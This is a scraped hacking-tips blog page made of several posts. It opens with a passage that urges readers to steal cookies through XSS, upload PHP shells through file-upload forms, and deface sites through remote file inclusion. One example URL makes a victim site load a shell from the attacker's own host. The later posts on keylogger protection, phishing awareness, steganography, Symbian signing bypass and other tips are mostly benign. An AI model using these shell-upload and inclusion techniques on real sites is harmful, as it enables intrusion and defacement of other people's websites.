XSS is another nice way to ahck some website. Suppose if some website/ forum is allowing HTML in the psot or articles, then a hacker can post a malicious script into the content. So whenever a user opens up the page, the cookies would be sent to the hacker. So he can login as that user and f*ck the website up.

3. Shells:

Shell is a malicious .php script. What you have to do is, find a palce in any website where you can upload any file like avatars, recepie, your tricks, your feedbacks. And you try to upload your shell files from there. And if its uploaded then WHOA!you open it from the URL bar and u can see the entire "FTP" account of that webhosting. YOu can rename/edit / upload/download anything u want including the index page.
This is also known as deface.

4. RFI: RFI is a good way to deface a website. It is used with shell. Suppose you have uploaded your shell on:

Code:

 yoursite.com/shell.txt

and you found a vulnerable site to RFI... then you can do as follow:

Code:

 victimssite.com/index.php?page=yousite.com/shell.txt

This will again give u the access of your victim's sites FTP , just as shell so you can f*ck up anything you want.

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:

Code:

 yoursite.com/index.php?id=545

just add something liek this at the end

Code:

 yoursite.com/index.php?id=http://www.google.com

And if it incldes the google page into your page, that means its vulnerable to RFI.

Read More

How to Enable or Disable Hibernation in Windows 7

Enabling or Disabling the “Hibernate” option in Windows 7 or Vista is not as simple as it used to be in Windows XP. For Windows 7 a different approach has to be followed to accomplish the same job. In this post you will find how to enable or disable the Hibernate option in Windows 7.

Hibernation is a power saving option which was designed primarily for laptops. Unlike “sleep mode” which puts the open documents and files into the memory, hibernation puts all the open files and documents on to the hard disk and shuts down the computer without drawing even a small amount of power. Thus hibernation becomes an excellent way to save power and resume Windows back to the state where it was left off. If you really want to use this feature on Windows 7 then you need to enable this option. This can be done as follows.

1. Open the Command Prompt with “Administrator rights”. To do so, type cmd in Start menu and then hit Ctrl+Shift+Enter.
2. Now type the following command in the command prompt and hit Enter.

powercfg /hibernate on

3. Type exit and hit Enter to close the Command Prompt. Now you should see the “Hibernate” option in the Start menu. If not then perform the following steps.
A. Type Power Options in the Start menu and hit Enter.
B. In the left pane, open the link labeled “Change when the computer sleeps” and then open the link “Change advanced power settings”.
Now a small window will pop-up as shown below:

C. Now expand the Sleep tree and turn off Allow Hybrid Sleep as shown in the above screenshot.
D. Now you should see the Hibernate option in the Start menu.

Read More

How to Protect Your Computer from Keyloggers

Keyloggers have been a major problem today as it does not require any prior knowledge of computers to use it. So hackers mainly use keyloggers to steal your passwords, credit card numbers and other confidential data. Below are some methods through which you can protect your computer from keyloggers:

 

Use a Good Antivirus

This is the first and basic step that you need to take in order to protect your computer from keyloggers. Use a Good antivirus such as Kaspersky, Norton or Mcafee and update it regularly.

 

Use a Good Antispyware

Since keyloggers are basically spywares, if you are a frequent user of Internet then you could be exposed to thousands of keyloggers and spywares. So you should use a good antispyware such as NoAdware.

 

Antilogger can be Handy

Antiloggers are programs that detect the presence of keyloggers on a given computer. Over past few years, I have tested a lot of anti-logging programs and have found Zemana Antilogger as the best antilogger.

Zemana

Normally a keylogger can be easily detected by a Good Antivirus program, but hackers use some methods such as hexing, binding, crypting and similar techniques to make it harder to be detected by antivirus programs. In this case Zemana Antilogger comes handy as the program is specially developed to protect your system against harmful keyloggers.

 

Online Scanning

When ever you receive a suspicious file, you scan it with online scanners such as Multi engine antivirus scanner which scans your file with 24 antivirus engines and reports it back to you if the file is recognized as a virus or spyware. This ensures that none of the malicious programs can escape from being detected as there are 24 different antivirus engines are involved in the scanning process.

 

Sandboxie

Sandboxie is another great program to help you protect your computer against harmful keyloggers and spywares. Sandboxie runs your computer in an isolated space which prevents your program from making permanent changes to other programs in your computer.

When ever you receive a file that looks suspicious, just run the program with Sandboxie so even if it is a keylogger or any other virus it will not make permanent changes to your computer system.

To run a program in Sandboxie follow the steps as mentioned below:
1. Open sandboxie and click on sandbox menu on the top
2. Now goto Default sandbox
3. Then click on run any program
4. Now select the file you wish to run in sandboxie and click open

 

Keyscrambler

Keyscrambler is one of the best protection against keyloggers that you can have, Keyscrambler is a small program which encrypts your typed keystrokes so even if the victim has installed a keylogger on your system, he or she will get encrypted keys. Keyscrambler currently supports Firefox, Internet explorer and other applications, however its premium version supports more than 160 applications.

Read More

How to Trace Mobile Numbers

With the rapid growth of mobile phone usage in recent years, we have often observed that the mobile phone has become a part of many illegal and criminal activities. So in most cases, tracing the mobile number becomes a vital part of the investigation process. Also sometimes we just want to trace a mobile number for reasons like annoying prank calls, blackmails, unknown number in a missed call list or similar.

Even though it is not possible to trace the number back to the caller, it is possible to trace it to the location of the caller and also find the network operator. Just have a look at this page on tracing Indian mobile numbers from Wikipedia. Using the information provided on this page, it is possible to certainly trace any mobile number from India and find out the location (state/city) and network operator (mobile operator) of the caller. All you need for this is only the first 4-digit of the mobile number. In this Wiki page you will find all the mobile number series listed in a nice tabular column where they are categorized based on mobile operator and the zone (state/city). This Wiki page is updated regularly so as to provide up-to-date information on newly added mobile number series and operators. I have used this page many a time and have never been disappointed.

If you would like to use a simpler interface where in you can just enter the target mobile number and trace the desired details, you can try this link from Numbering Plans. Using this link, you can trace any number in the world.

By using the information in this article, you can only know “where” the call is from and not “who” the caller is. Only the mobile operator is able to tell you ”who” the caller is. So if you’re in an emergency and need to find out the actual person behind the call, I would recommend that you file a complaint and take the help of police. I hope this information has helped you!

Read More

How to Hack Symbian S60 Phones to Install Unsigned Applications

If you own a Nokia Symbian S60 phone, you will most likely be aware of the fact that it is not possible to install applications on it unless they are signed using a valid certificate. Have you been trying to install applications on your S60 3rd or 5th edition phone but ending up getting a certificate error? At times, this can be really annoying; but here is a smart solution to this problem!

Here in this post, I will show you how to hack your Symbian S60 3rd or 5th edition smartphone, so as to modify the phone’s firmware and completely bypass the mandatory signing requirement. So, once you are done with this one time hack, you should be able to install any compatible application including unsigned and those with an expired certificate.

 

What is the Need for Signing Applications?

From the 3rd edition onwards, all the Symbian S60 applications need to be signed in order to ensure their integrity, so that it would not be possible for a third party to tamper with the application. Also, signing ensures that you always install applications from a trusted source.

However, there are many freeware and beta applications that come unsigned as the developers cannot afford to buy a symbian certificate. Hence, it can be a real nightmare for the users who need to install such applications on their phones. So, here is a step-by-step procedure to hack your phone and permanently disable this security feature.

 

1. Download HelloOX2 V2.03 or the latest version from the HelloOX2 Ofiicial Website.

HelloOX2 is an excellent tool to hack Symbian S60 3rd, 5th and Symbian^3 smartphones which makes it possible to install a root certificate by gaining full access to the phone’s system files. With this capability, you can install anything you want on your phones without the need to worry about the annoying certificate error!

2. The signed version of HelloOX2 demands for a donation and hence, only the unsigned version is available for free download. So, if you have the unsigned version, you need to sign it before installing on your phone. In order to sign any application, you need to have the certificate and the key file which can be obtained as follows:

• Go to the OPDA Website, get registered and login to your account.
• Click on the “Apply Certificate” tab, enter the model number and the IMEI of your phone and then click on “Submit and Upload” button.
• It will usually take up 24 hours for your certificate and key file to be generated and uploaded. To check the status of your certificate click on “My Certificate” tab. If the certificate is ready for the download you will see something as follows:

 

• Download the certificate and the key file on to your computer. Also download the SisSigner tool to sign your HelloOX2 application.
• Open the SisSigner, load the HelloOX2.sis, certificate and the key file as shown below and click on “Sign”. Leave the “Key File Password” field blank.

• Your HelloOX2 application is now signed and ready for the installation.

3. Install the signed HelloOX2 application on your phone and run it to start the hacking process, which is completely automatic. Within a minute your phone will be hacked. Once this is done, say goodbye to the annoying certificate error and install any application.

Read More

How to Download YouTube Videos: Easiest Way

YouTube is undoubtedly the most preferred website to share and watch favorite videos. Most users prefer to watch the videos online, while a few others like me, would like to download them so that, they can be saved and retained. Well, if you are one among those few who would like to download the videos from YouTube, then here is a way to do that.

In fact, there are many ways to download videos from YouTube, but here in this post, I would like to share with you one of the easiest way to do that. This can be done as follows:

1. Download and install the latest version of Internet Download Manager.

Internet Download Manager is a great add-on for your web browser which increases the download speed by 5 times. It also helps you to pause/resume and schedule your downloads. It has got a great interface and is user friendly. It works with most of the browsers including IE, Firefox, Chrome, Safari and Opera.

2. After you complete the installation, just open your browser and start searching for your favorite video on YouTube. You will see the download button on top of the video using which you can download it instantly.

3. Click on the “Download this Video” button to save the video onto your computer. The downloaded video will be in the flash video format (.flv).

4. You can use VLC Player to play the downloaded video or use SUPER to convert it to your desired format.

By using this trick, you can download almost all the buffering content on the Internet including videos from MySpace and Google. I hope you like this small post. Don’t forget to pass your comments. Enjoy

Read More

How to Identify and Avoid Phishing Scams

Phishing is a form of social engineering technique used by hackers to gather sensitive information such as usernames, passwords and credit card details by posing as a trustworty person/organization. Since most online users are unaware of the techniques used in carrying out a phishing attack, they often fall victims and hence, phishing can be very effective.

With the dramatic increase in the number of phishing scams in the recent years, there has also been a steady rise in the number of people being victimized. Lack of awareness among the people is the prime reason behind such attacks. This article will try to create awareness and educate the users about such online scams and frauds.

Phishing scams usually sends an email message to users requesting for their personal information, or redirects them to a website where they are required to enter thier personal information. Here are some of the tips that can be used to identify various phishing techniques and stay away from it.

 

Identifying a Phishing Scam

 

1. Beware of emails that demand for an urgent response from your side. Some of the examples are:

• You may receive an email which appears to have come from your bank or financial organization stating that “your bank account is limited due to an unauthorized activity. Please verify your account asap so as to avoid permanant suspension”. In most cases, you are requested to follow a link (URL) that takes you to spoofed webpage (similar to your bank website) and enter your login details over there.
• In some cases, phishing emails may ask you to make a phone call. There may be a person or an audio response waiting on the other side of the phone to take away your credit cards details, account number, social security number or other valuable data.

2. Phishing emails are generally not personalized. Since they target a lagre number of online users, they usually use generalized texts like “Dear valued customer”, “Dear Paypal user” etc. to address you. However, some phishing emails can be an exception to this rule.

3. When you click on the links contained in a phishing email, you will most likely be taken to a spoofed webpage with official logos and information that looks exactly same as that of the original webpages of your bank or financial organization. Pay attention to the URL of a website before you enter any of your personal information over there. Even though malicious websites look identical to the legitimate site, it often uses a different domain or variation in the spelling. For example, instead of paypal.com, a phishing website may use different addresses such as:

• papyal.com
• paypal.org
• verify-paypal.com
• xyz.com/paypal/verify-account/

 

Tips to Avoid Being a Victim of Phishing

 

1. Do not respond to suspicious emails that ask you to give your personal information. If you are unsure whether an email request is legitimate, verify the same by calling the respective bank/company. Always use the telephone numbers printed on your bank records or statements and not those mentioned in the suspicious email.

2. Don’t use the links in an email, instant messenger or chat conversation to enter a website. Instead, always type the URL of the website on your browser’s address bar to get into a website.

3. Legitimate websites always use a secure connection (https://) on those pages which are intended to gather sensitive data such as usernames and passwords, account numbers or credic card details. You will see a lock icon in your browser’s address bar which indicates a secure connection. On some websites like paypal.com which uses an extended validation certificate, the address bar turns GREEN as shown below.

In most cases, unlike a legitimate website, a phishing website or a spoofed webpage will not use a secure connection and does not show up the lock icon. So, absence of such security features can be a clear indication of phishing attack. Always double-check the security features of the webpage before entering any of your personal information.

4. Always use a good antivirus software, firewall and email filters to filter the unwanted traffic. Also ensure that your browser is up-to-date with the necessary patches being applied.

5. Report a “phishing attack” or “spoofed emails” to the following groups so as to stop such attacks from spreading all over the Internet:

You can directly send an email to spam@uce.gov or reportphishing@antiphishing.org reporting an attack. You can also notify the Internet Crime Complaint Center of the FBI by filing a complaint on their website: www.ic3.gov.

Read More

How to Hide Data in Image, Audio & Video Files: Steganography

Ever wondered to know how to hide secret messages in images, audio and video files? Well, in this post I will take you through a concept called steganography using which, it is possible to hide your secret information in image files, songs or any other file of your choice. At the end of this post, you can also download free stegnographic tools and start hiding your data.

What is Steganography?

Steganography is a means of obscuring data where secret messages are hidden inside computer files such as images, sound files, videos and even executable files so that, no one except the sender and the receiver will suspect the existence of stealth information in it. Steganography may also involve the usage of cryptography where the message is first encrypted before it is concealed in another file. Generally, the messages appear to be something else such as an image, sound or video so that the transfer of secret data remains unsuspected.

The main advantage of steganography over other methods such as cryptography is that, it will not arose suspicion even if the files fall in the hands of a third party. Unlike cryptographic messages, stegnographic messages will no way attract the attention of a third party by themselves. Thus stegnanography has an upper hand over cryptography as it involves both encryption and obscurity.

What are the Applications of Steganography?

Steganography is mainly used to obscure confidential information/data during storage or transmission. For example, one can hide a secret message in an audio file and send this to another party via email instead of sending the message in the textual format. The receiver on the other end will decrypt the hidden message using the private decryption key. In a worst case scenario, even if a third party does manage to gain access to the email, all he can find is the audio file and not the hidden data inside it. Other usage of steganography include digital watermarking of images for reasons such as copyright protection.

Eventhough steganography has many useful applications, some may use this technique for illegitimate purposes such as hiding a pornographic content in other large files. Roumors about terrorists using steganography for hiding and communicating their secret information and instructions are also reported. An article claiming that, al-Queda had used steganography to encode messages in images and transported them via e-mails, was reported by New York Times, in October 2001.

How do Steganography Tools Work?

Stegnography tools implement intelligent algorithms to carefully embed the encrypted text messages or data inside other larger files such as an image, audio, video or an executable file. Some tools will embed the encrypted data at the end of another file so that there will be enough room for storing larger data.

There are many steganography tools available online but only a few are able to work flawlessly. I did not find any tool that worked perfectly on both small and large data. However I have  managed to develop my own tool that can work perfectly on all types of files and all size of data. The tool is called “Stego Magic“. You can download it from the following link.

Download Stego Magic

Download StegoMagic.zip

The zip file contains two versions of Stego Magic: One for encrypting the text messages and the other for encrypting binary files. StegoMagic_TXT can be used to hide text messages in other files such as an image or a sound file. StegoMagic_BIN can be used to hide one binary file in another such as an executable file inside an image or an image inside a video file.

With Stego Magic, there is no limitation on the size and type of the file that you are intending to hide. For example, you can hide a video of size 1 GB in an image of size 1 MB or hide an executable file inside a WORD document. The tool is pretty straightforward to use and requires no special understanding of the concept.

At the end of the encryption process, a secret decryption key will be generated and the same is required during the decryption process.

How to Use Stego Magic?

Suppose you want to hide a text message inside a JPG file:

1. Place the JPG and the text file (.txt) in the same folder as that of StegoMagic_TXT.exe

2. Run StegoMagic_TXT.exe and follow the screen instructions to embed the text message inside the JPG image.

3. Note down the secret decryption key.

Now you can send this image to your friend via email. To decrypt the hidden message, your friend should load this JPG file onto the Stego Magic tool and use the secret decryption key.

Read More

4 Ways to Identify Safe Websites on the Internet

On the whole Internet, there are approximately more than 150 million active websites up and running. As a result, it often becomes a real challenge for the users to identify safe websites that are trustworthy and reputed. Have you ever wondered to know the reputation of a website before placing the order? Need to know whether a given website is child safe? Well, here are some of the ways to identify safe websites on the Web.

 

1. WOT or Web Of Trust (www.mywot.com):

WOT is a great place to test the reputation of your favorite website. WOT gives real-time ratings for every website based on the feedback that it gets from millions of trustworthy users across the globe and trusted sources, such as phishing and malware blacklists. Each domain name is evaluated based on this data and ratings are applied to them accordingly. A snapshot of WOT ratings for gohacking.com is shown below:

 

 

 

 

 

 

As shown in the above snapshot, the reputation of each website is shown in terms of 4 components where green means excellent, yellow warns users to be cautious and red indicates potential danger.

 

Trustworthiness signifies the overall safety of the website. A poor rating may indicate that the site is associated with threats like Internet scams, phishing, identity theft risks and malware. For more information on phishing, you may refer my other post on how to identify and avoid phishing scams.

 

Vendor reliability tells you whether a given site is safe for carrying out buy and sell transactions with it. An excellent rating indicates superior customer satisfaction while a poor rating indicates possible scam or bad shopping experience.

 

Privacy indicates about “to what extent the site respects the privacy of it’s users and protects their personal identity and data”.

 

Child Safety indicates whether the content of a given site is appropriate for children. Site contents like sexual material, nudity and vulgarity will have a poor Child Safety rating.

 

In most cases, the WOT ratings are found to be highly accurate. To check the reputation of any given website, just visit www.mywot.com type-in the address of your favorite website and click on “Check now”. This tool alone can tell you a lot about the reputation and safety level of a website. However, in addition to this, I am giving you another 3 handy tools to identify safe websites on the Web.

 

2. McCafee SiteAdvisor:

McCafee SiteAdvisor is a free tool that is available as a browser add-on. It adds safety ratings to your browser and search engine results. You can download it from www.siteadvisor.com.

 

3. StopBadware:

Using this tool, you can check whether a given site is said to have involved in malware activity in the past. To check this, go to http://www.stopbadware.org/home/reportsearch and enter the URL or domain name of a website and click on “Search Clearinghouse ”. If the search does not return any result, that means the site was never involved in any of the malware activity in the past.

 

4. Google Pagerank:

Google PageRank is another great tool to check the reputation and popularity of a website. The PageRank tool rates every webpage on a scale of 1 to 10 which indicates Google’s view of importance of the page. If a given website has a PageRank of less than 3, then it is said to be less popular among the other sites on the Internet.

 

However, PageRank will only tell you how much popular a given website is and has nothing to do with the safety level of a website. So, this tool alone cannot be used to evaluate a website’s safety and other factors.

Read More